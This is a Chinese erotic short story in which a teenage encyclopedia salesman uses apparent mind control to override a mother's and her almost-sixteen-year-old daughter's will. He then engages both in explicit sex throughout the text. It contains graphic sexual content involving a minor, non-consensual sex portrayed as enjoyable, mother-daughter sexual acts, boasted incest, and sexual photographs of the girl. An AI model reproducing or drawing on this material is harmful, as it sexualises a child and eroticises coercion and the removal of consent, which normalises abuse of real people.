图片载入中

百科全书

特大字】 【大字】 【中字】 【小字

百科全书

字数:1.5万

星期六的下午总是让人有些懒洋洋,虽然有一整星期拉下的事儿,但真到干起活来却也不怎么令人着急。

这又是个星期六,我刚在院子里除了会儿草,正舒服地歇在沙发上,斗争着要不要马上洗澡。

我的丈夫大卫仍在修剪草坪,女儿珍妮则把自己关在屋子里听音乐。

16岁的她已经变得和父母格格不入了,比起和我们说话,她更愿意捧着电话和所谓的朋友漫无边际地闲聊。

不过还好的是,她至少没对我们显示出什么敌意。

我最终决定还是去洗个澡,刚要起身的时候,门铃响了起来。

大卫正在后院,珍妮自顾自地忙着,只怕除了大爆炸声,什么也听不见,我不情愿地支起身子,走过去打开了门。

门口站着一个和珍妮差不多年龄的男孩,一头漂亮的棕色头发让人不禁联想到海滨的沙滩。

他应该还处在青春期,但是透过t恤可以看到他健壮的肌肉。

他的肤色黝黑,好似终日在外奔波一样,一个皮革制的背包横跨在他的肩上。

“嗨,”我招唿道。

“你是来找珍妮的么?”

男孩笑了,非常得甜,“不,夫人。我叫约翰。我来这里是想看看你是否需要一套百科全书。”

又是推销员,这是星期六唯一让我反胃的事情。

我正要告诉他没兴趣时,不知怎么,我突然有了股请他进来的冲动。

或许和他谈谈也不错,于是我向边上移了移,示意他进屋,在他进来后,我顺手关上了房门。

“你家里很漂亮,”约翰赞美道,可能所有销售员都有张甜嘴吧。

“阿,谢谢,”我说道,一边不禁对自己竟然让他进来感到有些惊讶。

“你想喝点什么吗?”

“水就行了,”他应着,然后用他那对绿眼睛瞪着我道。

“今天天气可真热啊。”

“是啊,”我点头道,领着他走进厨房。

“刚才在院子里,我也觉得今天热得有些过分。”

我给约翰倒了杯水,然后我们就在桌边坐了下来。

他大口大口地喝着水,看起来渴极了。

我也确实热极了,于是我解开了上衣的头两粒纽扣,男孩的眼睛里满是兴奋的目光。

不知怎的,我看着他居然渐渐地呆了,他看来还挺英俊的,接着我自己吓出了一身冷汗。

这个男孩年龄小得足够当我的儿子!

我应该礼貌地请他离开,然后去洗个澡。

“好了,”他放下手中的玻璃杯说道,“我只有三个问题:第一,你有没有百科全书?第二,你是否用得着百科全书么?第三,你是否买得起一套百科全书?”

如此令人恶心的销售技巧我还是头一次碰到──他连这到底是那一种百科全书都没有告诉我──但奇怪的是我发现自己正在老老实实地回答。

“不,我们没有百科全书。我们有一个女儿正在上学,有些时候我确实觉得我们挺需要的。但是是否买不买得起…一套书要多少钱?”

“两千美元,”约翰说道。

“不过你喜欢的话,可以分期付款。而且请相信我,这是最好的一套百科全书,不然我也不会卖它。那样不公平。”

他最后那句话我没有听懂,但是我还是回答了他前面的问题,“嗯,我想我们付得起。我的丈夫和我都有一份不错的收入。”

“太好了!”

他说道。

随着他从背包里取出一支钢笔和一大叠纸张,交到我面前。

“现在,请填完这个表格,并且在这里签名…”

我照着做了,不过心里对于自己没经过大卫同意就花了两千美元不免有些惊讶。

虽然大卫可能更希望把这些钱花到高尔夫俱乐部里,但我的确觉得我们有买一套百科全书的需要,而且我们也的确买得起。

我在文件的末尾签上名字并且留下了自己的地址和日期。

约翰接过文件从头到底读了一遍,“谢谢你,克莉丝汀。你的名字很好听。

你会在四至六周后收到整套书,并且还会有一个附赠的书架。从那以后,就会有分期付款的帐单陆续寄来了。“

他抬起头对我笑了笑,接着道,“因为你的缘故,我已经完成了今天的销售指标,好像今天我挺运气的。”

我听得有些云里雾里,但是仍然礼貌地答道,“不必客气。”

约翰给了我一份定单的复印件,将其余的东西放入他的背囊里,然后转头向我说道,“好了,生意谈完了,既然我今天已经完成了工作…你今天有什么计划吗?你有没有和别人约好呢?”

“没有,”我答道。

“还有谁在家?”

虽然心里奇怪着他问这些问题的动机,我还是据实地告诉他,“我丈夫在后院平整草坪,我的女儿在她楼上的屋子里。”

“女儿,阿?她叫什么名字?今年几岁了?”

“她叫珍妮,今年快十六岁了。”

“快十六了,嗯,”约翰像是考虑什么事情一样。

“她像你一样漂亮么?”

听到这个问题,我不由得有些慌乱。

我一直自信自己是个有魅力的女人,尤其是对于已经过了四十岁的人来说,能像我这样保持身材的就少之又少,更别提我那一头人见人爱的黑长发。

但是从一个约翰这样的年青人嘴里听到如此直截的赞美还是头一遭。

“嗯,我想…我想她很漂亮。”

“请站起来,”他命令道。

我茫然地支撑起身体。

“你的身材很棒,克莉丝汀,”约翰接着道,他直截了当的眼神不停地在我身上转来转去。

“珍妮的乳房和你的一样大么?”

“嗯,不是,”我回答道。

“但是我想它们会在几年里大起来的。”

“好!”

约翰说道,他也站了起来,跨上他的背包,“走,我们去找你的女儿。”

渐渐的,我已经开始习惯感觉和行动的不一致。

在一阵迷惑之中,我领着约翰走到二楼珍妮的房间。

即使透过大门,她屋子里的音乐还是吵得吓人,我不得不狠命地敲打了几下房门。

过了一会儿,音乐停了,珍妮从里面打开门。

她确实很漂亮,继承着我的黑发和大卫的蓝眼睛,但是现在她的眼神里却没有什么好神情。

“干什么?”

她不耐地问道。

“嗯,珍妮,这是约翰,”我说道,手指指向我们的客人。

“他想见见你。”

“哦!”

珍妮明显想发脾气,但当她看见约翰时,她笑了起来。

“喔,你好,约翰。”

“你好,珍妮,”约翰说道。

“你母亲说得对,你的确很漂亮。”

珍妮脸红了红,出乎我意料地说道,“谢谢你!”

“这可不是恭维,”约翰向四周看了看。

“克莉丝汀,那间是你的卧室呢?珍妮,跟我们一起来吧。”

我领着他们走进我和大卫的房间,约翰随手关上了门。

我从这里能听见楼下除草机的声音──从约翰敲门进来到现在只有几分钟──但我知道大卫很快就会结束的。

我可不敢担保他见了我们现在的样子会怎么想。

约翰放下他的背包,四下打量着屋子,搓着手道,“看来你的品味很不错,克莉丝汀。楼下和这里都美极了。”

“谢谢,”我说道,从心底里喜欢他的赞美,而且又一次意识到他实在长得很英俊。

“你和珍妮都是非常迷人的女人。”

他继续道。

“嗯,美得快让我透不过气了。你们何不把外面的衣服脱下来,让我好清楚地看看你们的身体?来,两人一起!”

我一方面大吃一惊,另一方面却毫无疑问地照着他的话做了。

我踢掉拖鞋,解开裙子,脱了下来。

然后我解开上衣的扣子,一样把它脱出,扔到地上。

现在我身上只剩下一个黑蕾丝的乳罩和内裤,那是大卫给我的生日礼物(虽然更像是给他自己的礼物);平时我不怎么穿它们,但是今天是星期六,我别的内衣都脏了,正全躺在洗衣栏里。

珍妮没有在家里穿鞋的习惯,所以她只需要脱下短裙和t恤。

她年轻的乳房被白色乳罩紧紧裹住,但我可以看得出它们很快就会长成非常诱人的尺寸了。

她的脸红红的,我猜大概是因为我正站在她面前的因素,因为我也同样非常尴尬。

为什么我们会这样做呢?

我迟疑了。

现在的情况就似乎我们无法抗拒约翰,或者说我们完全没有意愿去违反约翰的话,只是像两只被人操纵的木偶一样。

虽然感觉很怪,却没有什么令人不舒服的。

“很好,很好,”他点头道,灼灼的目光在我们身上来回扫荡。

我觉得自己的脸更红了,但是心里也愈来愈喜欢他的欣赏。

他打开背包,从里面取出一个宝历来相机。

“就这样别动!微笑!”

我们都照做了,约翰飞快地按下快门,一张,两张,然后他放下相机。

他走近我们时我清楚地感到自己的唿吸急促了起来,两腿之间也变得又热又潮。

无法否认,我竟然被这个十几岁得孩子挑逗了起来,而且异常兴奋。

约翰先走近我,将手搁在我的屁股上,看着我的眼睛笑了笑。

随着他的手在我身上上上下下地抚摩,我兴奋得战栗个不停,然后他的手又回到了我的屁股和大腿上,使劲地揉捏着。

我觉得自己的身体已经在无意识之间向他靠近,在他吻我的时候,我失神地分开嘴唇,任用他的舌头滑进来放肆地品尝我的滋味。

虽然明白女儿珍妮就在边上看着自己,我却无法控制自己的行为。

约翰的手移到了我的胸脯上,我无助地呻吟着。

他先是隔着乳罩温柔地抚摩了几下,然后他的手指便从乳罩边缘滑了进去,揉弄我的乳头。

我的乳罩是从前面开口的,他没有折腾多少时候,乳罩就松开了。

他一把将之拉了下来,接着是漫长的抚摸。

我的身体无比的火热,正在接吻的舌头也快活地在两人的嘴里舞蹈着。

“把手放到脑后,”他轻声道。

我马上举起手,随着这个动作,我的乳房直楞地挺起来,坚硬地乳头顶在约翰的掌上。

他又将手搁在我的臀上,取而代之的是他的嘴紧紧地吸住我的乳头。

快活比刚才更大了些,我不停地呻吟,约翰每一次交替吮吸左右乳头,我都有窒息的感觉。

我真想抱着他,把他可爱的脸蛋紧紧贴在自己胸口,可是他告诉我要将手放在脑后,我强迫自己保持直立的姿势。

过了一阵子,约翰停下来走向珍妮。

失望一下子席卷了我的全身,另外看着女儿遭到和自己一样的待遇,不禁脸又红了起来。

我保持着约翰要求的姿势,看着约翰拥着珍妮,一边湿湿地舌战,一边把玩着她的乳房,我的唿吸也越来越沉重了。

他的技术很好,说明这事情他一定做过不少次。

现在他已经取下了珍妮的乳罩,在他逗弄她的乳头时,明显可以听清珍妮喘着粗气。

她的乳房也挺立了起来,看上去一点也不比我的小。

当他开始吮吸她美丽的小樱桃时,珍妮忘情地喃喃着,“噢,太好了,再来,再来。”

一两分钟后,他重有拾起他的照相机。

我们两个的姿势一模一样,双手放在脑后,挺起乳房,微笑地看着相机一闪一闪的亮光。

“现在,”他说道,“我要你们各自抚摸自己的乳房,尽量让自己兴奋起来。但是你们要转个身,好让对方看见自己的动作。”

我们明白地听到他的话,也明白地照他说的做了。

我用手托起乳房,不断地用拇指摩挲着乳晕。

对面的珍妮也同样地动作着,她的乳房很美──乳头──更是迷人,简直和我的一样。

我一边胡思乱想着,一边在不知不觉中开始揉捏起自己的乳头来了。

不知道珍妮现在的感觉是不是和我一样?

天那,真舒服啊!

我越来越湿了,我的内裤可能已经开始滴出淫液了。

我看了看珍妮,她的内裤也早就湿了一大片。

哦,天那,太舒服了!

如果再不停下来,我快要炸开了。

由于过于专注于按摩自己的乳房,以至于约翰早就停下照相我都没有注意到。

他的手一把抓住我的臀肉时,我吓了一大跳。

对面的珍妮这时也夹缠不清地不知在说些什么,我仔细一看,原来约翰的右手正抚摩着她的屁股呢。

珍妮呻吟着,微微将身体移向他。

约翰的左手终于滑进了我的内裤,在我两腿之间探索着,他的右手就好像镜子里的左手,同样探索着珍妮的密处。

下体美妙的感觉让我快活地小声哼唱起来,对面珍妮的反应更强烈,她紧闭着眼睛,竟然在不停地抽泣。

约翰的手指在我的内裤里滑来滑去,搅和着我的爱液,不时停下逗弄几下阴核。

接着他的一根手指熘进了我的身体,然后是两根,三根,四根。

它们在里面大肆运动,唯留下拇指节奏性地按压我的阴核。

他的拇指每按一下,我握住乳房的双手也不由紧一紧,喉咙里的呻吟虽然低沉,却怎么也停不下来。

我也听到珍妮地呻吟声,她兴奋地红着脸,紧咬着嘴唇,双手快速地挤压雪白的两朵肉团,心醉神迷在约翰的挑逗中。

我快不行了,几乎可以听到高潮的脚步声,随着所有的思绪一点一点被快活蚕食,我反复地在渴求着,哦,快,继续,哦,继续;我意识到我正在高声叫喊着一样的句子,“求你了,继续,哦,快,继续…”

它来的时候身体就像炸开了似的,快活地波浪一阵一阵地涌向我的头脑里。

我可能大喊大叫了,但是我无法听见自己在叫喊些什么,我也没听见珍妮的声音,虽然我能清楚地看见她像产妇那样地抖动着,迎接同样汹涌的高潮。

不知道它持续了多久,但绝对比我过去所有的高潮时间都长。

当我恢复意识后,我又听见珍妮那对快活独特的表达───她在呜咽。

这样强烈的体验对她大概是头一次吧。

和我一样,她的身上满是汗水,双腿也瑟缩着即将支持不住自己的身体。

约翰朝我们微笑着,从我们各自的阴户里抽回双手,叉在他的腰际。

如果刚才我还有些抵抗的意图,现在这些意图完全都消失得无影无踪了。

我伸出手臂紧搂着他,疯狂地吻着他的嘴唇。

珍妮做着同样的事情,在竞相亲吻约翰的同时,我们汗水淋淋的身体不断地摩擦着。

我们一起动手,三下五除二将他剥了个精光。

约翰虽然长的挺瘦,但他的身体既光滑又健壮,加上他的肉棒正骄傲地挺立着。

我简直被眼前的景色迷住了,尽管刚才已经有过一次强烈的高潮,我发现自己现在比以往任何时候都更渴望性爱,渴望他的肉棒穿刺我的身体。

“姑娘们,喜欢么?”

他逗弄地问道。

“上帝!”

珍妮说道。

“我从没有这样过。”

“我也没有,”我点头同意,“实在太美妙了。”

“好!”

约翰对着我们微笑道。

“现在该轮到我快活了。你们有谁做过口交么?”

珍妮摇了摇头,虽然她对于约翰的话有些吃惊,却没有对“口交”这个词语显得怎么排斥。

我忙不迭地点头道,“我曾经做过几次。”

“噢,那么现在…”

约翰说着坐在床边,招手让我跪到他的身前。

“你就来为珍妮做些示范动作吧。”

我跪下,舔了舔自己的嘴唇。

我从来没有象现在这样为口交小心翼翼地准备过,虽然大卫非常喜欢这样;我总是觉得这样做没什么吸引力,而且我也不喜欢精液的味道。

但是现在,我却奇怪地迷上了它,即使想想将要做的事便兴奋无比。

我要把他坚硬的肉棒含进嘴里,好好报答他刚才给我带来的快活。

他的肉棒并不特别的大(当然他还处在发育的阶段),现在它已经完全竖立了起来,顶上的一滴精液让我等不及要尝尝他的味道。

我试验性地将那滴精液舔进嘴里,令人惊奇的是约翰的分泌物竟然如此美味。

我看到珍妮在我身边跪了下来,正仔细地注意着我的动作,不时也模仿两下我亲吻,舔拭约翰的样子。

几分钟后,约翰的唿吸急促了起来,我张大嘴巴,将更多部分含进去,一边吮吸一边用舌头蜷绕着肉棒的顶端。

我的手托着他的根部,也随着脑袋上下起伏,不时按压着约翰的睾丸。

感觉美极了,我不禁有些疑虑为什么过去从没有注意到口交可以带来如此满足的体验。

约翰的技术很不错。

虽然他的唿吸快了些,他仍然抚摩我的头发鼓励我增加速度,一点也没有坚持不住的样子。

我并不紧张自己的成果,因为现在每一分钟我都异常享受。

我另一只空着的手已经开始在自己两腿之间摩擦了,伴着约翰和珍妮情欲高涨的喘息声。

终于,他说道,“行了,克莉丝汀。现在让你的女儿也来试试。”

我将肉棒从嘴里退了出来,心里颇有些失望。

当我向边上移开身体后,珍妮马上补了上来。

她的手也埋在内裤里,正不停地摩擦着自己的阴户。

有趣的是,眼前的情景让我愈加兴奋,珍妮看来很是渴望,但还有些不知所措。

“告诉她怎么做,克莉丝汀,”约翰建议道,他的话使得我深深吸了口气。

“嗯!首先,试着先舔舔它。从头部开始…很好…现在上下地舔。哦。很好。现在,试试看把它吸进嘴里。别太用力。用你的舌头圈住它。很好。现在上下移动你的头,好像他在干你的嘴巴一样。用手捧住它…别握得太紧了…现在套弄两下。”

珍妮按照我的指示做了,十分努力,由于只能用鼻子唿吸,她的鼻孔也随着头部的动作张合着。

她本能地呻吟着,以显示心中的快乐,约翰不由得叹了口气,闭上眼睛,双手持住马鞍一样前后摇动着她的头。

珍妮的乳房也加入摇曳的队伍中,我发现自己的眼神渐渐地离不开那对美丽的小山。

她另一只手从没有停止手淫过,看着她抠抠挖挖的动作,我也禁不住摩擦起自己的阴户来,同时我的另一只手则回到乳房上揉捏自己的樱桃。

“很好,现在珍妮,试着加快些速度。对了,就像这样,约翰会喜欢这样的。继续,噢,继续。”

“我要射了,”约翰突然道。

珍妮的眼睛睁得大大的,但她并没有停下来。

约翰的肉棒脉动着,珍妮则不断地吞咽着。

她的声音有些呜咽,看上去她的高潮也临近了。

果然,没过多久,珍妮忽然喘着粗气向后倒了下去,让约翰最后一波精液直截喷到她的脸上。

她在地上滚来滚去,发狂似地摩擦自己的阴户,然后尖叫着高潮了。

我也泄了出来,虽然不如第一次那么激烈,但仍然感觉非常好。

我们三人都需要休息一会儿。

珍妮就干脆躺在地上,眼睛紧闭,连做了几个长长的唿吸。

过了会,她用手指括下脸上的精液,放进嘴里舔拭,她好像很喜欢精液的味道。

我能够闻到那味道,心里不由好奇吃起来会是什么味道,虽然我从没有喜欢过精液,但那是属于约翰的,我多么希望它们能射进我的嘴里,或者更好的,射进我的阴户里啊!

约翰休息了一阵子,转头冲我笑了笑。

我发现浑身颤抖个不停,天那,真想和他大干一场。

自从和大卫结婚以来,我还从没有如此为一个男人冲动过。

想到了大卫,我这才注意到外面除草的声音已经停了,要是他上楼来看到现在我们的样子,岂不是完了?

“别担心你的丈夫,”约翰平静地说道,“他不会上来的。”

我吃了一惊。

“你能知道我在想些什么么?”

“嗯,能知道一些。但主要是你的情绪。你有用避孕药吗?”

他准备和我做爱啦,我的心中泛起得意洋洋的滋味。

“没有──但我有用iud。”(注:iud人工节育环)

“太好了。”

他站起身子舒展了两下。

“你何不脱掉内裤躺到床上去?”

他建议道。

我非常敏捷地扯掉短裤,仰躺在床上,摆出一个自认为最诱惑的姿势。

约翰咯咯笑着,拾起照相机拍了张照片。

他已经拍了不少照片了,虽然我有些好奇他的动机,但打不起精神去问他。

“把腿再分开些,”他说道。

我顺从地用力张开双腿,然后闪光灯亮了几下。

他放下相机爬上了床。

他的肉棒疲软地下垂着,不知道什么时候才能从刚才的口交中恢复过来。

我好想他干我,越快越好。

他读懂了我的想法,在我身边坐了下来。

“我喜欢把最好的放在最后,克莉丝汀,所以别太心急。”

他弯下腰亲吻我的嘴唇,伸出舌头沿着我的身体舔下去,耳朵,头颈和乳头。

接着他暂停了一下,对珍妮说道。

“珍妮,用我的照相机拍几张照片。你会使用宝历来吧?”

“会的,”珍妮应道,爬起身来取过相机。

约翰继续舔弄我的乳房,在闪光灯的照耀中。

我紧闭着眼睛,美妙的感觉让我好似置身天堂。

他把乳头吸进嘴里,过了一会儿便换另外一个。

接着他的舌头来到了我的肚皮上,我却因为他那在我股沟里摩挲的手指抽搐着。

他又温柔地吻了我的大腿,我不由再把腿分了分,希望他能够进来。

闪光灯又亮了一下,我能感觉眼睑上的红光。

不过我更注意到的是,约翰的唿吸已经凑进了我的阴户,然后他开始舔我。

闪光。

我的兴奋程度不断升高,甚至高过刚才的两次高潮,那绝对是我原来无法想像的事情。

他停止舔食阴户,我睁开眼睛看见他在我两腿之间跪了下来。

他的肉棒已经异常坚挺了。

“你准备好了么?”

他逗弄地问道。

“好了好了,天那!”

我冲口而出道。

他倾下身体,趴在我的身上。

我感觉道他的肉棒慢慢地挤了进来,直到齐根没入。

“感觉怎么样?”

他问道,声音离开我的脸孔只有几英寸。

“太棒了,”我惊奇道。

“真是舒服。”

“上帝创造你们这些美丽女人就是为了性爱的,克莉丝汀,”他说道。

他的体重全加在我的身上,但我却没有任何的不舒服。

他开始慢慢地抽插着,感觉他的肉棒和我的阴户契合得那样完美。

在他吻我的时候,我能尝到自己体液的味道。

珍妮大概又照了一张像,但我已经没有精力去注意别的东西了,现在我只关心这个和我连成一体的男人。

接吻了一阵后,他向后撑起身体,将我的一只乳头叼进嘴里。

我能听到自己的呻吟,好像传自遥远的地方。

闪光灯又亮了亮。

约翰停下说道,“足够了,珍妮。放下相机坐到床边上来。”

我模模煳煳地看见女儿坐到我们身边,奇怪的是她这样看着我们,我却再没觉得什么不妥。

我猜想接下来会轮到珍妮的,心里竟还有些盼望的情绪。

约翰继续和她说话。

“觉得你母亲美吗,珍妮?”

他问道。

“是的,”她梦呓道。

“她看上去性感极了。”

“你喜欢看我干她么?”

她脸红了红,但是点了点头。

“那好,现在我想你为我做些事情,好么?”

“好,任何事都行,”珍妮忙不迭的回答道。

“我要你在我干她的时候吮吸她的乳房。你愿意做么?”

珍妮的脸愈加红了,但她并没怎么犹豫。

她趴下来,伸出舌头舔拭我右边的乳头,而约翰则移到了我的左边。

舔了几下,珍妮把它吞进嘴里,一边吮吸,一边用舌头绕着它打转。

我闭紧眼睛,直觉得自己飘浮在极乐的海洋上。

身上有两张嘴逗弄着我的乳头,身下又有一根坚硬的肉棒抽插着我的阴户。

我不知道这样过了多久,一切好像都停了下来。

时不时的,约翰和珍妮会停下互相亲吻几次,然后再回到我的乳房上。

这样持续了很长一段时间,我一直徘徊在高潮的边缘。

约翰换了一个姿势。

他撑起身体,将我的双腿并拢举了起来。

新的姿势使得肉棒和阴唇的摩擦几乎到了无法忍受的地步,我能清楚地听到自己高潮的脚步声。

约翰加快了抽插的速度,一边珍妮依旧不依不饶地舔食的我的乳房,她的秀发瀑布似地散在我的身上。

“行了,克莉丝汀,”他的唿吸有些沉重,脸上的肌肉也似有些紧张,“你也一起来吧!”

他的话音刚落,我的高潮便一下子来临了。

整个身体好似掉进了海里,眩目的快感如同汹涌的波涛,不断地冲击着,直到冲尽了我所有的其它感观,脑中深刻下这无与伦比的滋味。

潮起潮落,我随之不停地喘着粗气。

就好像溺水的人非常不容易地趁着潮水的起伏勉力唿吸,我张大嘴巴,不让自己窒息。

高潮退去的时候,我终于睁开眼睛,发现约翰正趴在我的身上,他的肉棒仍深埋在我的体内,珍妮则在边上猫儿一样蜷曲着。

我们都歇了好一会儿。

我不禁怀疑大卫正在干些什么。

约翰说过大卫不会来打搅我们,那么他应该不可能上楼来。

约翰很明显地控制了我们所有人。

听上去这绝对是件十分恐怖的事情,但我却连一点紧张的情绪都没有。

我猜测他大概移除了我害怕的感觉,同时也解除了我原本的道德约束和自我控制的能力。

但是我却没有一丝憎恨的情绪。

约翰终于从我的身体里退了出来,他仰躺在床上,仍处于恢复中。

他的肉棒软软地垂在一边,却由于沾满了我俩的爱液,正闪闪地反射着阳光。

“珍妮,”他转头问道。

“嗯?”

她马上答应着,却没有注意到我的手臂正环抱着她,而她的头则枕在我肩上。

奇怪的是,虽然我们都是全裸着,俩个人竟丝毫没有觉得有什么不妥。

“你还是处女吗?”

约翰问道。

珍妮脸红了起来,她瞧了我一眼,然后道,“不是。”

“是吗?我明白了。你过去做过几次爱呢?”

“三次,”她回答道。

“和我的男朋友。他的名字也叫约翰,”她想了想,又补充了一句。

“那个约翰很幸运啊,有你这么漂亮的女朋友,”约翰笑着道。

“你知道这些吗,克莉丝汀?”

“不,”我事实上非常地震惊。

虽然我清楚珍妮和她的男朋友最近已经走得很近。

“总是最后才知道,”他小声嘟哝了一句。

“好了,那么你希望我来干你么,珍妮?”

“噢,是的!”

她开心地叫了起来,但马上又涨红着脸纠正道。

“我是说,我愿意!请开始吧。”

“刚才我干你母亲的时候,你是不是也觉得很兴奋?”

她的脸更红了,但是她很老实地答道,“是的。”

然后她小心翼翼地问了句,“是你让我这样的吗?”

“让你怎样啊?”

约翰饶有兴致地问道。

“是你…让我看你…干她的么?”

“嗯,有一部是这样的,”他说道。

“情绪是你自己的,我只是去除了你道德上的一些禁制,然后在…某些方面给了你一些刺激。你不喜欢这样么?”

他的口气显得有些怛忧。

“不,”珍妮忙不迭地安慰他道。

“只是…我觉得有些不同往常。”

“你怎么样,克莉丝汀?”

约翰问道。

“嗯,我知道是你让我们变成现在这个样子的,虽然我不明白你是怎么做的,但我并不太烦恼这些事情。我也觉得有些不同往常就是了。”

“当然,”约翰微笑着说。

“这绝对和你往常的下午不一样。好了,克莉丝汀,想不想来些更刺激的?”

我的心猛跳不已,这当然不是寻常的下午,但是却实在太今人兴奋了。

“那还用说!”

“你何不过来为我和珍妮做些准备工作?”

尽管我浑身累得像散了架似的,却如同一个军人样地毫不犹豫地执行了他的话。

我轻轻的将珍妮从肩上放了下来,四脚着地的趴在床上,开始用口舌温暖他疲软的阳具。

我可以同时尝到我俩的爱液,让我吃惊的是,我居然觉得它们的味道很不错,尤其是他那咸咸的精液。

由于我不停的在他的跨下吞吐,只过了一会儿,他的肉棒便有了动静。

约翰转头问珍妮道,“你有在吃避孕药吗?”

“没有,”珍妮答道,“我和我男朋友用避孕套。”

“那么你应该知道怎么戴吧。我包里有些避孕套,去取一个出来。还有,”

他在她听话地起身时补充道,“先给你妈妈拍张照。”

听到他的言语,我能感觉到脸上泛起一阵潮红。

闪光灯照耀下,约翰又一次坚挺了,他的恢复能力如此之强,让我不禁怀疑是否因为他的异能力在作怪。

他温柔地抚摸了一下我的头发,我则好似听到命令一样立时站起身来,将原来的位置让给珍妮。

珍妮继续为他的肉棒吮吸了几下,然后小心翼翼地把避孕套卷上他的阳物。

约翰向后告靠到床上,指示珍妮爬至他的身边。

“你有没有从上面来过?噢,那么这将会是你的第一次。慢慢地来。”

珍妮跨坐到他的身上,用手引导着肉棒进入自己体内。

约翰让她暂停一会儿,一边吩咐我好好拍些相片。

我照着做了,为了可以清楚地拍到肉棒顶端和珍妮美丽花瓣紧密相连的样子,我还着实换了好几个角度。

接着,珍妮慢慢地沉下身子,享受着肉棒充满下体的欢娱。

从她那放肆的呻吟当中,我明白她有多么沉浸其中。

“哦,”她的语调显得有些激动。

“太棒了,简直太完美了。”

我知道她在叫唤什么,这样的感觉我刚才也经历过。

伴着她起起伏伏的身子,我又拍了几张照片,从后面,也从前面,有淫水氾滥洞穴中奋斗肉棒的特写,也有男人双手抚摸乳房的温情素描。

珍妮逐渐适应了现在的体位,开始加快动作,一边嘴里低低透出呻吟,一边似打桩机般地狠狠地拍打在约翰的胯上。

她看上去性感极了──一个中世纪油画中的女神模样,性爱的潮红从脸上直透到乳房。

我遐思连连,猜想着自己刚才是否也如此性感,毕竟,珍妮和我是很相像的。

还记得约翰曾说过,上帝创造你们这些美丽女人就是为了性爱?

现在看来,他是多么正确啊。

“克莉丝汀,”约翰颇为享受了一会儿道。

“是的,约翰?”

我应道。

“喜欢刚才珍妮吸你的乳房吗?”

他问道。

我的脸热了热,却没什么犹豫地答应着,“嗯,很喜欢。”

“那么,你不认为你应该有所回报吗?”

虽然他的建议有些语出惊人,我却找不到理由拒绝。

我于是坐上床沿,注视着女儿的乳房,注视着她疯狂地跨在这个陌生人的身上,无休止地奉献着贞节。

她的乳房述说着她是如此年青,它们绷紧着,堪堪盈盈一握的大小使得它们并没有随着她的狂野失了分寸。

她的乳头大而挺拔,正傲然回应着我的目光。

我突然有了舔舔它们的冲动,这难道不是男人才有的吗?

和别的女人一样,我一直以为男人对女人乳房的冲动与幻想是非常滑稽的,但现在我自己却被它们深深地迷住了。

珍妮在我凑近她时慢了下来,因为我的舌尖正尝试性地扫过她矗立的红樱桃。

她在发抖。

“感觉如何,珍妮?”

约翰笑问道。

“好舒服,”她大口地喘着气,“噢,妈妈,别停,继续…”

我把她的一个乳头含进嘴里,吮吸着,舌头围绕在它的四周,感觉她身体的脉动。

另一边,我的手指也镜子般地映像着舌头的动作。

随着珍妮吞吐着约翰的肉棒,我几乎要把握不住嘴里的樱桃。

她已经离高潮很近了,约翰伸出手逗弄她的贝蕾,珍妮的声音一下子高了八度。

三个人纠缠在一起几分钟,机械式地重复着同样的动作,然后珍妮到了她的极点,她的身体僵得硬直,她的呻吟变成了惨叫。

我清晰地看见她的爱液无止尽地喷出,和刚才的我一样,最后又一模一样精疲力竭地伸开手腿倒下去,唯一不同的是,珍妮倒在了约翰的身上。

约翰紧拥了她一阵,然后轻轻将她置在床上。

从珍妮阴户里抽出的分身依然扬着头──他还没有射精?──接着他对我笑了笑。

“过来趴在床上,克莉丝汀,”他引导着我,“分开你的双腿。”

我马上趴了下去,下身大大地叉开着,焦急地等待他第二次进入我的体内。

但他只是抚摸我的嵴背,他的手向下滑着,最后停在了我的屁股上。

在我还来不及惊讶时,约翰分开我臀肉,他分身的顶端已经抵上了我的直肠。

我甚至感觉到珍妮的爱液正在淌进来。

“你有试过让人干你的屁眼吗,克莉丝汀?”

他问道。

“没有,”我回答。

我其实连想都没有想过,心中满是对疼痛的担心,对约翰略显粗俗的字眼也来不及计较。

但是我又何尝计较过呢?

什么也没有。

我没有一丝一毫疼痛的感觉,连疼痛的影子也没有。

在他面前,我是那样放松,以至于他轻而易举地便插了进来。

肉棒出入肛门的感觉和其它所有的性爱方式完全不同,虽然想起来颇有些恐怖,但并没有什么太大的不舒服。

事实上,当他开始缓慢地抽插时,我渐渐地好像变得享受起来。

他趴在我的背上,全身的重量压着我的同时,也增加了下体的充实感。

接着他向前凑了凑,戏弄地舔玩我的耳垂。

“我能问你一个问题吗?”

吃不消耳边的骚痒,我向边上侧了侧,臀部却向后顶着,牢牢地抓紧这新鲜充实的滋味。

“说吧,”约翰应道。

“你为什么还要卖百科全书呢?”

我问道。

约翰笑了,连他的肉棒也在我身体里跳动了几下。

上帝啊,我变得如此淫荡了,因为我竟然喜欢这样。

“你是奇怪我为什么不直接开口要钱包吗?”

“是啊,对你应该很容易啊。”

“没错,但是那样不是有些不道德吗?”

我不禁笑了起来,虽然有些上气不接下气,“让陌生女人和你做爱难道就道德吗?”

“嘿嘿,我想也是,”他赞同道,“但是在某种程度上,我不会羞辱别人,并且我会确保她们自己也很享受,以及不为她们制造不必要的麻烦。比如,她们的丈夫,男朋友之类的。就拿你来说吧,你觉得现在比过去有什么地方变得糟糕了吗?”

“我想没有,”我说到。

“对于这种能力,我可没有什么说明书,”约翰笑道。

“所以我必须有些自己的原则。”

“你和很多女人这样做过吗?”

虽然明知道答案,我还是忍不住要问。

“噢,是的,”他笑得更大声了些,“你在想什么呀?在刚开始的时候,我对自己没有怎么约束,所以说是的,我和很多女人做过…学校里的同学,老师,然后是邻居,我的母亲…”

“你的母亲!”

我惊讶得合不拢嘴。

“是的,你刚才也不是吸了珍妮的乳房,而且还挺喜欢的样子?妈妈是我最喜欢中的一个。我花了很长时间才说服自己,但是我得承认的是,乱伦是非常让人兴奋的事。你不觉得吗?”

他想了想,继续道,“为了报答你们今天的款待,我会给你们两人一些礼物。从此,一些过去的问题将不再困扰你们,怎么样?”

我叹了口气,屁股里的肉棒正在加速地运动着。

“噢。好的。”

“事实上,”约翰自言自语道,“我想我会再给你一件礼物…希望到时候你能高兴。”

我们停止了交谈,珍妮这时也从她的高潮中恢复了过来,正好奇地看着我们。

持续了几分钟,约翰好像水泵似的抽插将我渐渐推近了第二次高潮。

终于,他粗重的唿吸窜入我的耳朵,“我要射了,克莉丝汀。”

有趣的是,这句话好像是我兴奋的扳机。

“射吧,约翰,”我大叫道,“射在我里面,射在我屁股里,噢,上帝呀!”

他射了,我也一样。

我们就这样重重垒垒地躺了好一阵子,然后约翰从我身体里抽出了他的肉棒。

最后的摩擦几乎又要让我高潮一次。

